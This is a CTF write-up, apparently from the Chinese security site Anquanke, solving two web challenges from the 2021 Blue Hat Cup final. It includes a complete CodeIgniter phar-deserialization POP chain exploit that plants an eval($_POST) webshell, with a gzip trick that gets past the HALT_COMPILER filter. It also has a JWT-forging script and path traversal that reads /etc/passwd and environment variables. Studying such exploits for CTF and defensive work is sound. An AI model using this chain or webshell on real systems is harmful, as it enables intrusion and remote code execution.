2021蓝帽杯决赛Web wp

阅读量112448

|评论1

|

发布时间 : 2021-08-30 10:30:54

 

Imagecheck

题目给了源码,本地搭建一下。

框架是CodeIgniter。需要开几个php拓展,用phpstudy直接开就行。网站->管理->php拓展 redis和intl。

拿到源码先看路由

首先看到的是Upload路由,它接收了一个文件,file_get_contents读出了这个文件,并过滤。所以文件内容不能含有HALT_COMPILER需要bypass。第二个过滤告诉我们白名单是什么。

这里其实很容易想到phar反序列化。

再来看一下Check路由

发现使用了getimagesize且参数可控。getimagesize函数是可以触发反序列化的。

因此我们开始着手挖掘pop链。

搜索__destruct发现这里的redis可控,可以触发任意类的close。

于是我们全局搜索close

发现了这个close。当$this->redis存在时,try内的东西抛出错误的时候,就会进入catch方法。

这里的$this->redis就需要用到我们的php拓展 redis中的类了。

关于这里,logger是可控的,于是可以调用任意类的error

找到了这个类,调用了log

看下这个log方法。

重点在这里。这些handlerConfig都是可控的,因此$className$config也都是可控的所以说$this->handlers[$className]就可控,进一步,$handler也是可控的。

查询一下发现只有一个地方调用了setDateFormat

它会给handler类的dateFormat属性赋值。可以赋任意值。

然后就是调用了handler类的handle方法。

找到FileHandler类中的handle方法

仔细观察发现可以写文件

尝试构造。

先自己写一个类

<?php

namespace App\Controllers;

class User extends BaseController
{
    public function index()
    {
        return unserialize($_GET['ser']);;
    }
}

然后开始构造EXP:

<?php

namespace CodeIgniter\Session\Handlers{

    class RedisHandler{
        protected $redis;
        protected $logger;

        public function __construct($logger,$redis)
        {
            $this->logger=$logger;
            $this->redis = $redis;
        }
    }
}

namespace CodeIgniter\Cache\Handlers{
    class RedisHandler{
        protected $redis;
        public function __construct($redis)
        {
            $this->redis=$redis;
        }
    }
}

namespace CodeIgniter\Log{
    class Logger{
    }
}

namespace {
    $c=new CodeIgniter\Log\Logger();
    $b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());
    $a=new CodeIgniter\Cache\Handlers\RedisHandler($b);
    echo urlencode(serialize($a));
}

首先第一步,构造前几个类。前几个类还是比较容易构造的。

来仔细研究一下Logger类的参数该如何构造。

为了防止出错我们先把所有的参数复制过来,然后再修改。

        protected $logLevels = [
            'emergency' => 1,
            'alert'     => 2,
            'critical'  => 3,
            'error'     => 4,
            'warning'   => 5,
            'notice'    => 6,
            'info'      => 7,
            'debug'     => 8,
        ];
        protected $loggableLevels = [];
        protected $filePermissions = 0644;
        protected $dateFormat = 'Y-m-d H:i:s';
        protected $fileExt;
        protected $handlers = [];
        protected $handlerConfig = [];
        public $logCache;
        protected $cacheLogs = false;

首先需要修改的就是$handlerConfig因为它影响了我们的$handler赋值

键名为类名,值为类的实际参数,我们看一下我们要用的FileHandler类有哪些参数。然后把这些参数填入$config

现在是这样子的

        protected $logLevels = [
            'emergency' => 1,
            'alert'     => 2,
            'critical'  => 3,
            'error'     => 4,
            'warning'   => 5,
            'notice'    => 6,
            'info'      => 7,
            'debug'     => 8,
        ];
        protected $loggableLevels = [];
        protected $filePermissions = 0644;
        protected $dateFormat = 'Y-m-d H:i:s';
        protected $fileExt;
        protected $handlers = [];
        protected $handlerConfig = [
            'CodeIgniter\Log\Handlers\FileHandler'=>[
            "path"=>"aa",
            "fileExtension"=>"php",
            "filePermissions"=>"aa"
        ]];
        public $logCache;
        protected $cacheLogs = false;

然后尝试反序列化,调试。

打进去单步调试,前几步没有太大问题

到log这里就出现问题了,我们看下问题出现在哪里。

经过调试发现,这个地方返回了true也就是说会直接出去。因此我们想办法让他过这个地方

in_array是检查数组中师傅含有该值,此时$level的值为

因此我们给$this->loggableLevels赋值。

把可用的都加上。

经过调试发现这里会直接进入continue,不会进入下面。想办法改一下。

进入BaseHandler查看

只要让它返回true就好了。

此时level为error,只要给handlers赋值就可以了。

那我们继续赋值

这样,就可以过这个地方了。

进入handle方法,且参数都是我们控制的。

但是这里有个waf,当后缀是php的时候,那么就会产生一个”死亡exit”

这里的$date会被写入,也就是dateFormat它也是我们可控的。

因此第一次我们写入的东西就是这样子的

这里加入了死亡exit,dateFormat的东西被写进来了。

因此再次更改exp。

如果直接写php的话,h会被date解析成小时,会变成这样,于是就需要转义符

        protected $handlerConfig = [
            'CodeIgniter\Log\Handlers\FileHandler'=>[
                'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],
                "path"=>"uploads/",
                "fileExtension"=>"a.php",
                "filePermissions"=>"aa"
        ]];

绕过死亡exit让后缀不为php就行,我们让他成为a.php

ok成功写入。

链子已打通,尝试构造phar。

把php.ini的readonly关闭

生成phar上传

不出所料,被过滤了,原因是phar中含有HALT_COMPILER那么 如何绕过?

我们把这个phar拿去gzip一下

gzip phar.jpg

就可以绕过检测。

index.php/Check?file=phar://uploads/phar.jpg/test.txt

触发

发现这里写子目录好像不太行,给他改成绝对路径,因为本地测试和phar进入还是有点不一样的

最终exp

<?php

namespace CodeIgniter\Session\Handlers{

    class RedisHandler{
        protected $redis;
        protected $logger;

        public function __construct($logger,$redis)
        {
            $this->logger=$logger;
            $this->redis = $redis;
        }
    }
}

namespace CodeIgniter\Cache\Handlers{
    class RedisHandler{
        protected $redis;
        public function __construct($redis)
        {
            $this->redis=$redis;
        }
    }
}

namespace CodeIgniter\Log{
    class Logger{
        protected $logLevels = [
            'emergency' => 1,
            'alert'     => 2,
            'critical'  => 3,
            'error'     => 4,
            'warning'   => 5,
            'notice'    => 6,
            'info'      => 7,
            'debug'     => 8,
        ];
        protected $loggableLevels = ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'];
        protected $filePermissions = 0644;
        protected $dateFormat = '<?p\\hp \\e\\v\\a\\l($_\\P\\O\\S\\T["\\a"]);?>Y-m-d H:i:s';
        protected $fileExt;
        protected $handlers = [];
        protected $handlerConfig = [
            'CodeIgniter\Log\Handlers\FileHandler'=>[
                'handles' => ['critical', 'alert', 'emergency', 'debug', 'error', 'info', 'notice', 'warning'],
                "path"=>"C:\Users\Yang_99\Desktop\bluehat\ImageCheck_cada3f80864345f87ae335e4888826eb\public\uploads",
                "fileExtension"=>"bbb.php",
                "filePermissions"=>"aa"
        ]];
        public $logCache;
        protected $cacheLogs = false;
    }
}

namespace {
    $c=new CodeIgniter\Log\Logger();
    $b=new CodeIgniter\Session\Handlers\RedisHandler($c,new redis());
    $a=new CodeIgniter\Cache\Handlers\RedisHandler($b);
    echo urlencode(serialize($a));
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();

}

 

editjs

这道题打开根据提示发现了JWT token

http://eci-2ze44hd5fno9nykys6w3.cloudeci1.ichunqiu.com:8888/getfile?filename=/env/secret.key

发现token

K3yy

使用jwt token进行伪造

脚本

import jwt
import time

# payload
token_dict = {
  "data": "admin",
  "iat": int(time.time()),
  # "iat": 1629784832 ,
  "exp": int(time.time())+1800
  # "exp": 1629786632
}

# headers
headers = {
  "alg": "HS256",
  "typ": "JWT"
}
print()
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                     key='K3yy',
                       headers=headers,  # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                        algorithm="HS256",  # 指明签名算法方式, 默认也是HS256
                       )
print(jwt_token)

如果没有库可以按照Pyjwt

得到token就可以读文件了

这样可以读取到源码。根据源码进行审计

发现这里使用了拼接。尝试目录穿越读取

发现可以读到/etc/passwd

注释里说flag在环境变量,于是读一下环境变量,就出了

应该是非预期了,预期解是GKCTF2021-easynode的原题

本文由Yang_99原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/251516

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
Yang_99
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66